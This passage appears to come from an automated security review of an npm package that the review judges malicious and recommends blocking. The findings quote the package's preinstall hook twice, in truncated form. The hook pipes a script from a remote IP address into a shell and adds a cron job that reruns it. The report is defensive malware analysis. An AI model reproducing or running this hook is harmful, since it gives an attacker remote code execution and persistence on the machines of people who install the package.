It also persists repeated execution through the user's cron table. - **Trigger:** npm preinstall during package installation. - **Impact:** An attacker controlling the remote host can run arbitrary commands on the installing machine and retain recurring execution. - **Evidence paths:** package.json, index.js - **Review source:** ai\_review - **Reviewed:** 2026-08-28T22:57:00.367Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Remote shell execution followed by cron persistence. - **Attack narrative:** The preinstall lifecycle hook invokes curl for a script hosted at 216.126.236.46 and pipes the response into a shell. It then edits the current user's crontab to execute that same remote script every 30 minutes. Both actions occur without a user command beyond installation and suppress errors, enabling remote code execution and persistence. - **Rationale:** Source inspection confirms an automatic install hook that fetches and executes a remote payload, then establishes cron persistence. This is concrete malicious install-hook abuse. - **Files touched:** package.json - **Network endpoints:** 216.126.236.46/x.sh ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** A preinstall hook downloads a shell script from 216.126.236.46 and pipes it to Bash., The same automatic hook adds a cron job that reruns the remote script every 30 minutes., Errors are silently ignored, concealing failed execution or persistence attempts. - **Evidence against:** index.js only exports a minimal login stub and has no harmful import-time behavior. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.preinstall = node -e "const{execSync:e}=require('child_process');try{e('curl -s 216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){};try{e('(crontab -l 2>/dev/null|grep -v 216.126;echo \"*/3... ``` ### 2. Critical: Red Install Lifecycle Script - **Category:** Manifest - **Confidence:** 95.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script matches a deterministic static-gate block pattern. Public source snippet (untrusted): ```json scripts.preinstall = node -e "const{execSync:e}=require('child_process');try{e('curl -s 216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){};try{e('(crontab -l 2>/dev/null|grep -v 216.126;echo \"*/3... ``` ### 3. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. Low: No License - **Category:** Manifest - **Confidence:** 80.0% Package manifest does not declare a clear license. ### 5. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() A preinstall hook downloads a shell script from 216.126.236.46 and pipes it to Bash.
